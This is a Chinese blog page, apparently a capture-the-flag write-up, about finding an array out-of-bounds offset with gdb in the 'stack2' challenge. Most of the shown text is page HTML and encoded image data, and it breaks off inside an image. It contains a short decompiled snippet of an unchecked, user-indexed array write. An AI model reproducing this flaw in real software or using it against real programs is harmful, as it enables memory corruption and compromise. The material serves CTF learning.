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">

<link rel="canonical" href="https://jue-xian.gitee.io/diazang/2021/04/21/%E6%95%B0%E7%BB%84%E8%B6%8A%E7%95%8Cgdb%E8%B0%83%E8%AF%95/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome : false,
    isPost : true,
    lang   : 'zh-CN'
  };
</script>

  <title>数组越界gdb调试找偏移 | RUBIA</title>
  






  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

<link rel="alternate" href="/diazang/atom.xml" title="RUBIA" type="application/atom+xml">
</head>

<body itemscope itemtype="http://schema.org/WebPage">
  <div class="container use-motion">
    <div class="headband"></div>

    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-nav-toggle">
    <div class="toggle" aria-label="切换导航栏">
      <span class="toggle-line toggle-line-first"></span>
      <span class="toggle-line toggle-line-middle"></span>
      <span class="toggle-line toggle-line-last"></span>
    </div>
  </div>

  <div class="site-meta">

    <a href="/diazang/" class="brand" rel="start">
      <span class="logo-line-before"><i></i></span>
      <h1 class="site-title">RUBIA</h1>
      <span class="logo-line-after"><i></i></span>
    </a>
  </div>

  <div class="site-nav-right">
    <div class="toggle popup-trigger">
        <i class="fa fa-search fa-fw fa-lg"></i>
    </div>
  </div>
</div>




<nav class="site-nav">
  <ul id="menu" class="main-menu menu">
        <li class="menu-item menu-item-home">

    <a href="/diazang/" rel="section"><i class="fa fa-home fa-fw"></i>首页</a>

  </li>
        <li class="menu-item menu-item-about">

    <a href="/diazang/about/" rel="section"><i class="fa fa-user fa-fw"></i>关于</a>

  </li>
        <li class="menu-item menu-item-tags">

    <a href="/diazang/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>标签</a>

  </li>
        <li class="menu-item menu-item-categories">

    <a href="/diazang/categories/" rel="section"><i class="fa fa-th fa-fw"></i>分类</a>

  </li>
        <li class="menu-item menu-item-archives">

    <a href="/diazang/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>归档</a>

  </li>
        <li class="menu-item menu-item-schedule">

    <a href="/diazang/schedule/" rel="section"><i class="fa fa-calendar fa-fw"></i>日程表</a>

  </li>
        <li class="menu-item menu-item-sitemap">

    <a href="/diazang/sitemap.xml" rel="section"><i class="fa fa-sitemap fa-fw"></i>站点地图</a>

  </li>
        <li class="menu-item menu-item-commonweal">

    <a href="/diazang/404/" rel="section"><i class="fa fa-heartbeat fa-fw"></i>公益 404</a>

  </li>
      <li class="menu-item menu-item-search">
        <a role="button" class="popup-trigger"><i class="fa fa-search fa-fw"></i>搜索
        </a>
      </li>
  </ul>
</nav>



  <div class="search-pop-overlay">
    <div class="popup search-popup">
        <div class="search-header">
  <span class="search-icon">
    <i class="fa fa-search"></i>
  </span>
  <div class="search-input-container">
    <input autocomplete="off" autocapitalize="off"
           placeholder="搜索..." spellcheck="false"
           type="search" class="search-input">
  </div>
  <span class="popup-btn-close">
    <i class="fa fa-times-circle"></i>
  </span>
</div>
<div id="search-result">
  <div id="no-result">
    <i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>
  </div>
</div>

    </div>
  </div>

</div>
    </header>

    


    <main class="main">
      <div class="main-inner">
        <div class="content-wrap">
          

          <div class="content post posts-expand">
            

    
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="https://jue-xian.gitee.io/diazang/2021/04/21/%E6%95%B0%E7%BB%84%E8%B6%8A%E7%95%8Cgdb%E8%B0%83%E8%AF%95/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="https://www.hualigs.cn/image/6015786be4309.jpg">
      <meta itemprop="name" content="H.R.P">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="RUBIA">
    </span>
      <header class="post-header">
        <h1 class="post-title" itemprop="name headline">
          数组越界gdb调试找偏移
        </h1>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-calendar"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>
              

              <time title="创建时间：2021-04-21 20:15:55 / 修改时间：21:37:58" itemprop="dateCreated datePublished" datetime="2021-04-21T20:15:55+08:00">2021-04-21</time>
            </span>

          
  
  <span class="post-meta-item">
    
      <span class="post-meta-item-icon">
        <i class="far fa-comment"></i>
      </span>
      <span class="post-meta-item-text">Valine：</span>
    
    <a title="valine" href="/diazang/2021/04/21/%E6%95%B0%E7%BB%84%E8%B6%8A%E7%95%8Cgdb%E8%B0%83%E8%AF%95/#valine-comments" itemprop="discussionUrl">
      <span class="post-comments-count valine-comment-count" data-xid="/diazang/2021/04/21/%E6%95%B0%E7%BB%84%E8%B6%8A%E7%95%8Cgdb%E8%B0%83%E8%AF%95/" itemprop="commentCount"></span>
    </a>
  </span>
  
  

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
        <p>填坑=-= 记下数组偏移寻找嗷</p>
<a id="more"></a>

<p>攻防世界stack2</p>
<p>如下有数组越界</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">puts(&quot;which number to change:&quot;);</span><br><span class="line">__isoc99_scanf(&quot;%d&quot;, &amp;v5);</span><br><span class="line">puts(&quot;new number:&quot;);</span><br><span class="line">__isoc99_scanf(&quot;%d&quot;, &amp;v7);</span><br><span class="line">v13[v5] &#x3D; v7;</span><br></pre></td></tr></table></figure>
<p><img src="%0A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%0Ac